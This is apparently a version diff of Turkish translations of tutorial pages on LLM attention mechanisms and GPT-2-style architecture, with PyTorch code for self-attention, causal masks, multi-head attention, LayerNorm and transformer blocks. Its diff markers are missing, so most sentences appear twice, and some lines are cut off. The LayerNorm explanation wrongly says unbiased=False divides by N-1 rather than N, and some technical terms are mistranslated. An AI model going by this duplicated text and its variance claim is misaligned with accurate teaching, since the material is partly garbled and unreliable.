Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **kelimenin kelime dağarcığındaki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.**\
Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **LLM'yi eğitmek için kullanılan mevcut cümledeki bir kelimenin komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.\
Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacak.
{% endhint %}
### Dikkat Mekanizmalarını Anlamak
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her bir çıktı tokenini üretirken tüm giriş tokenlerini dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her bir çıktı token'ını üretirken tüm giriş token'larını dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
#### Örnek: Makine Çevirisi
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her bir kelimesini üretirken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini üretirken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
### Kendine Dikkate Giriş
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her tokenin diğer tüm tokenlere dikkat etmesine olanak tanır ve modelin tokenler arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her token'ın diğer tüm token'lara dikkat etmesine olanak tanır ve modelin token'lar arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
#### Temel Kavramlar
* **Tokenler**: Giriş dizisinin bireysel elemanları (örneğin, bir cümledeki kelimeler).
* **Gömme**: Anlamsal bilgiyi yakalayan tokenlerin vektör temsilleri.
* **Dikkat Ağırlıkları**: Her tokenin diğerlerine göre önemini belirleyen değerler.
* **Token'lar**: Giriş dizisinin bireysel öğeleri (örneğin, bir cümledeki kelimeler).
* **Gömme**: Token'ların vektör temsilleri, anlamsal bilgiyi yakalar.
* **Dikkat Ağırlıkları**: Her token'ın diğerlerine göre önemini belirleyen değerler.
### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek
@ -35,27 +35,27 @@ Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulana
* **shiny**: `[0.53, 0.34, 0.98]`
* **sun**: `[0.29, 0.54, 0.93]`
Amacımız **"shiny"** kelimesi için kendine dikkat kullanarak **bağlam vektörünü** hesaplamaktır.
Amacımız, **shiny** kelimesi için **bağlam vektörünü** kendine dikkat kullanarak hesaplamaktır.
#### Adım 1: Dikkat Puanlarını Hesapla
{% hint style="success" %}
Sadece sorgunun her boyut değerini ilgili tokenin boyut değeri ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
Sadece sorgunun her boyut değerini ilgili token'ınki ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
{% endhint %}
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak hesaplayın.
**"Hello" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"shiny" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Adım 2: Dikkat Puanlarını Normalleştirerek Dikkat Ağırlıklarını Elde Et
@ -67,24 +67,24 @@ Ayrıca, **softmax** fonksiyonu kullanılır çünkü üstel kısım nedeniyle f
Dikkat puanlarına **softmax fonksiyonunu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Üstel değerleri hesaplama:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Toplamı hesaplama:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Dikkat ağırlıklarını hesaplama:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Adım 3: Bağlam Vektörünü Hesapla
{% hint style="success" %}
Her dikkat ağırlığını alın ve ilgili token boyutlarıyla çarpın, ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin.&#x20;
Her dikkat ağırlığını alıp ilgili token boyutlarıyla çarpın ve ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin.
{% endhint %}
**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır ve dikkat ağırlıkları kullanılır.
@ -95,13 +95,13 @@ Her bileşeni hesaplama:
* **"Hello" için Ağırlıklı Gömme**:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **"shiny" için Ağırlıklı Gömme**:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **"sun" için Ağırlıklı Gömme**:
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
ırlıklı gömmeleri toplama:
@ -112,14 +112,14 @@ Ağırlıklı gömmeleri toplama:
### Sürecin Özeti
1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın.
2. **Dikkat Ağırlıklarını Elde Etmek İçin Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin.
2. **ırlıkları Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin.
3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın.
## Eğitilebilir Ağırlıklarla Kendine Dikkat
Pratikte, kendine dikkat mekanizmaları **eğitilebilir ağırlıklar** kullanarak sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenir. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Sorgu, daha önce olduğu gibi kullanılacak veridir, anahtarlar ve değerler matrisleri ise sadece rastgele eğitilebilir matrislerdir.
@ -129,7 +129,7 @@ Her token, tanımlanan matrislerle boyut değerlerini çarparak kendi sorgu, ana
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
Bu matrisler, orijinal gömmeleri dikkat hesaplamaları için uygun yeni bir alana dönüştürür.
Bu matrisler, orijinal gömmeleri dikkat hesaplamak için uygun yeni bir alana dönüştürür.
**Örnek**
@ -165,12 +165,12 @@ values = torch.matmul(inputs, W_value)
**Puanları Ölçekle**
Nokta çarpımlarının çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
Nokta ürünlerinin çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
Puan, boyutların karekökü ile bölünür çünkü nokta ürünleri çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
{% endhint %}
**Dikkat Ağırlıklarını Elde Etmek İçin Softmax Uygula:** İlk örnekte olduğu gibi, tüm değerleri normalize et, böylece toplamları 1 olur.&#x20;
@ -179,7 +179,7 @@ Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok b
#### Adım 3: Bağlam Vektörlerini Hesapla
İlk örnekte olduğu gibi, sadece tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
İlk örnekte olduğu gibi, tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
@ -234,7 +234,7 @@ LLM'ler için modelin, **bir sonraki token'ı tahmin etmek** amacıyla mevcut ko
### Nedensel Dikkat Maskesi Uygulama
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işleminden önce** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuz olarak ayarlar, böylece softmax'tan sonra dikkat ağırlıkları sıfır olur.
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işleminden önce** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuz olarak ayarlar ve softmax'tan sonra dikkat ağırlıklarının sıfır olmasını sağlar.
**Adımlar**
@ -326,7 +326,7 @@ print("context_vecs.shape:", context_vecs.shape)
```
## Tek Başlı Dikkati Çok Başlı Dikkate Genişletme
**Çok başlı dikkat**, pratikte **kendi ağırlıkları** olan **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmaktan oluşur, böylece farklı son vektörler hesaplanır.
**Çok başlı dikkat**, pratikte **kendi ağırlıklarıyla** her biri için **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır.
### Kod Örneği
@ -410,9 +410,9 @@ print("context_vecs.shape:", context_vecs.shape)
Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz.
{% hint style="success" %}
ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğuna dair kısa yanıtı:
ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı:
Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgilere erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
{% endhint %}
## References

View file

@ -12,16 +12,16 @@ LLM mimarisi örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04
Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar.
2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalayan bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir.
2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar.
3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar:
* **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasına olanak tanır.
* **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı.
* **Feed Forward Katmanı**: Dikkat katmanından gelen bilgileri işlemek ve bir sonraki token hakkında tahminler yapmakla sorumludur.
* **İleri Besleme Katmanı**: Dikkat katmanından gelen bilgileri işlemek ve bir sonraki token hakkında tahminler yapmakla sorumludur.
* **Dropout Katmanları**: Bu katmanlar, eğitim sırasında birimlerin rastgele düşürülmesiyle aşırı uyumu önler.
4. **Son Çıktı Katmanı**: Model, **50,257** kelime dağarcığı boyutunu temsil eden **4x50,257 boyutunda bir tensör** üretir. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir.
4. **Son Çıktı Katmanı**: Model, **50,257 boyutlu 4x50,257**'lik bir tensör çıktısı verir; burada **50,257** kelime dağarcığının boyutunu temsil eder. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir.
5. **Amaç**: Amaç, bu gömmeleri alıp tekrar metne dönüştürmektir. Özellikle, çıktının son satırı, bu diyagramda "ileri" olarak temsil edilen bir sonraki kelimeyi oluşturmak için kullanılır.
### Kod temsili
@ -211,11 +211,11 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
```
#### **Amaç ve İşlevsellik**
* **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık getiren bir aktivasyon fonksiyonu.
* **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU negatif girdiler için küçük, sıfırdan farklı değerler alarak girdileri çıktılara düzgün bir şekilde eşler.
* **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık ekleyen bir aktivasyon fonksiyonu.
* **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde eşler ve negatif girdiler için küçük, sıfırdan farklı değerler sağlar.
* **Matematiksel Tanım:**
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Bu fonksiyonun FeedForward katmanındaki doğrusal katmanlardan sonra kullanılmasının amacı, doğrusal verileri doğrusal olmayan hale getirerek modelin karmaşık, doğrusal olmayan ilişkileri öğrenmesine izin vermektir.
@ -223,7 +223,7 @@ Bu fonksiyonun FeedForward katmanındaki doğrusal katmanlardan sonra kullanılm
### **FeedForward Sinir Ağı**
_Matrislerin şekillerini daha iyi anlamak için yorum olarak şekiller eklenmiştir:_
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
@ -245,14 +245,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Amaç ve İşlevsellik**
* **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlı bir ağı uygular.
* **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlantılı bir ağı uygular.
* **Katman Detayları:**
* **İlk Lineer Katman:** Boyutları `emb_dim`'den `4 * emb_dim`'ye genişletir.
* **GELU Aktivasyonu:** Doğrusal olmayanlık uygular.
* **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür.
{% hint style="info" %}
Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak bir lineer katmandır ve bu, model içinde eğitilecek lineer ağırlıklar (parametreler) kullanır. Ardından, bu boyutların hepsinde daha zengin temsilleri yakalamak için doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır (model içinde eğitilecek parametreler). Ardından, tüm bu boyutlarda daha zengin temsilleri yakalamak için doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
{% endhint %}
### **Çoklu Başlı Dikkat Mekanizması**
@ -265,16 +265,16 @@ Bu daha önceki bir bölümde açıklandı.
* **Ana Bileşenler:**
* **Sorgular, Anahtarlar, Değerler:** Dikkat puanlarını hesaplamak için kullanılan girdi lineer projeksiyonları.
* **Başlar:** Paralel çalışan birden fazla dikkat mekanizması (`num_heads`), her biri azaltılmış bir boyutla (`head_dim`).
* **Dikkat Puanları:** Sorgular ve anahtarların nokta çarpımı olarak hesaplanır, ölçeklenir ve maske uygulanır.
* **Dikkat Puanları:** Sorgular ve anahtarların nokta çarpımı olarak hesaplanır, ölçeklendirilir ve maske uygulanır.
* **Maskeleme:** Gelecek token'lara dikkat edilmesini önlemek için nedensel bir maske uygulanır (GPT gibi otoregresif modeller için önemlidir).
* **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklenmiş dikkat puanlarının softmax'ı.
* **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklendirilmiş dikkat puanlarının softmax'ı.
* **Bağlam Vektörü:** Dikkat ağırlıklarına göre değerlerin ağırlıklı toplamı.
* **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştirmek için lineer katman.
{% hint style="info" %}
Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, son ilişkilerin her başta bulunmasını sağlamak için token'lar farklı başlara ayrılır, böylece aşırı uyum önlenir.
Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, son ilişkilerin her başta bulunmasını sağlamak için token'lar farklı başlara bölünmüştür, böylece aşırı uyum önlenir.
Ayrıca, eğitim sırasında belirli bir token'a ilişkin ilişkileri incelerken daha sonraki token'ların dikkate alınmaması için bir **nedensel maske** uygulanır ve aşırı uyumu **önlemek** için bazı **dropout** uygulanır.
Ayrıca, eğitim sırasında belirli bir token'a yönelik ilişkileri incelerken daha sonraki token'ların dikkate alınmaması için bir **nedensel maske** uygulanır ve aşırı uyumu **önlemek** için bazı **dropout** uygulanır.
{% endhint %}
### **Katman** Normalizasyon
@ -295,21 +295,21 @@ return self.scale * norm_x + self.shift
```
#### **Amaç ve İşlevsellik**
* **Katman Normalizasyonu:** Bir partideki her bireysel örnek için özellikler (gömme boyutları) boyunca girişleri normalleştirmek için kullanılan bir teknik.
* **Katman Normalizasyonu:** Her bir örneğin özellikler (gömme boyutları) arasında girişleri normalleştirmek için kullanılan bir teknik.
* **Bileşenler:**
* **`eps`:** Normalizasyon sırasında sıfıra bölmeyi önlemek için varyansa eklenen küçük bir sabit (`1e-5`).
* **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır.
* **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin öğrenebileceği parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır.
* **Normalizasyon Süreci:**
* **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`).
* **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur.
* **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örnek sayısı `N` yerine `N-1` ile bölünerek), bu da özellikler üzerinde normalleştirme yaparken uygundur.
* **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler.
* **Ölçekleme ve Kaydırma:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular.
{% hint style="info" %}
Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için iç değişken kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişimi ifade eder.
Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için içsel kovaryat kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişimi ifade eder.
{% endhint %}
### **Dönüştürücü Bloğu**
### **Transformer Bloğu**
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
```python
@ -365,16 +365,16 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
* **Katman Normu (`norm1`):** Girişi normalleştirin.
* **Çok Başlı Dikkat (`att`):** Kendi dikkatinizi uygulayın.
* **Dropout (`drop_shortcut`):** Düzenleme için dropout uygulayın.
* **Artımlı Ekleme (`x + shortcut`):** Orijinal girişle birleştirin.
* **Artımlı Ekle (`x + shortcut`):** Orijinal girişle birleştirin.
2. **İkinci Artımlı Yol (İleri Besleme):**
* **Giriş (`shortcut`):** Bir sonraki artımlı bağlantı için güncellenmiş girişi kaydedin.
* **Katman Normu (`norm2`):** Girişi normalleştirin.
* **İleri Besleme Ağı (`ff`):** İleri besleme dönüşümünü uygulayın.
* **Dropout (`drop_shortcut`):** Dropout uygulayın.
* **Artımlı Ekleme (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştirin.
* **Artımlı Ekle (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştirin.
{% hint style="info" %}
Transformer bloğu tüm ağları bir araya getirir ve eğitim kararlılığını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygulamaları yapar.\
Transformer bloğu tüm ağları bir araya getirir ve eğitim kararlılığını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygular.\
Dropout'ların her ağın kullanımından sonra yapıldığını, normalizasyonun ise öncesinde uygulandığını not edin.
Ayrıca, bir ağın çıkışını girişi ile **eklemeyi** içeren kısa yolları da kullanır. Bu, başlangıç katmanlarının son katmanlar kadar "katkıda bulunmasını" sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur.
@ -441,8 +441,8 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
* **Gömme Katmanları:**
* **Token Gömme (`tok_emb`):** Token indekslerini gömülere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her tokenin her boyutuna verilen ağırlıklardır.
* **Pozisyonel Gömme (`pos_emb`):** Gömülere pozisyonel bilgi ekleyerek tokenlerin sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre tokenlere verilen ağırlıklardır.
* **Dropout (`drop_emb`):** Gömülere düzenleme uygulamak için kullanılır.
* **Pozisyon Gömme (`pos_emb`):** Gömülere pozisyon bilgisi ekleyerek tokenlerin sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre tokenlere verilen ağırlıklardır.
* **Dropout (`drop_emb`):** Gömülere düzenleme için uygulanır.
* **Transformer Blokları (`trf_blocks`):** Gömüleri işlemek için `n_layers` transformer bloğunun yığını.
* **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu.
* **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir.
@ -450,7 +450,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
{% hint style="info" %}
Bu sınıfın amacı, **bir dizideki bir sonraki tokeni tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir.
Ne kadar **belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çoklu başlık dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın.
Ne kadar **belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çok başlı dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın.
Ayrıca, **çıktıdan önce** bir **normalizasyon** katmanı eklenir ve sonuçları uygun boyutlarla almak için sonunda bir son lineer katman uygulanır. Her son vektörün kullanılan kelime dağarcığı boyutuna sahip olduğunu not edin. Bu, kelime dağarcığındaki her olası token için bir olasılık elde etmeye çalıştığı içindir.
{% endhint %}
@ -497,7 +497,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
12 transformer bloğu vardır, bu yüzden bir bloğun parametrelerini hesaplayacağız ve ardından 12 ile çarpacağız.
**Her Transformer Bloğu için Parametreler**
**Transformer Bloğu Başına Parametreler**
**a. Çoklu Başlı Dikkat**
@ -507,7 +507,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
* **Değer Lineer Katmanı (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
* **Çıktı Projeksiyonu (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
* **Hesaplamalar:**
* **`W_query`, `W_key`, `W_value`in her biri:**
